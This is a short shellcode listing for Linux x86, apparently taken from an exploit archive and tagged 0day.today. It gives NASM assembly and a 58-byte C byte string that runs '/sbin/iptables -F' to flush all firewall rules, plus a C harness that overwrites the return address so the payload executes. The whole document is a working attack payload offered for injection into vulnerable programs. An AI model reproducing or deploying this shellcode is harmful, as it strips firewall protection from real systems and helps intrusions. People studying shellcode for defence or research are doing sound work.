linux/x86 iptables -F 58 bytes

==============================
linux/x86 iptables -F 58 bytes
==============================






/* The shellcode flushs the iptables  by running /sbin/iptables -F
   no exit()
   greetz to zilion: man, my code is shorter!

   size = 58 bytes 
   OS	= Linux i386
 		written by /rootteam/dev0id (www.sysworld.net)
 

BITS	32

jmp	short	callme
main:
	pop	esi
	xor	eax,eax
	mov byte [esi+14],al
	mov byte [esi+17],al
	mov long [esi+18],esi
	lea	 ebx,[esi+15]
	mov long [esi+22],ebx
	mov long [esi+26],eax
	mov 	al,0x0b
	mov	ebx,esi
	lea	ecx,[esi+18]
	lea	edx,[esi+26]
	int	0x80
	

callme:
	call	main
	db '/sbin/iptables#-F#'
*/


char shellcode[] =
	"\xeb\x21\x5e\x31\xc0\x88\x46\x0e\x88\x46\x11\x89\x76\x12\x8d"
	"\x5e\x0f\x89\x5e\x16\x89\x46\x1a\xb0\x0b\x89\xf3\x8d\x4e\x12"
	"\x8d\x56\x1a\xcd\x80\xe8\xda\xff\xff\xff\x2f\x73\x62\x69\x6e"
	"\x2f\x69\x70\x74\x61\x62\x6c\x65\x73\x23\x2d\x46\x23";

	
int main()
{

  int *ret;
  ret = (int *)&ret + 2;
  (*ret) = (int)shellcode;
}



#  0day.today [2018-01-06]  #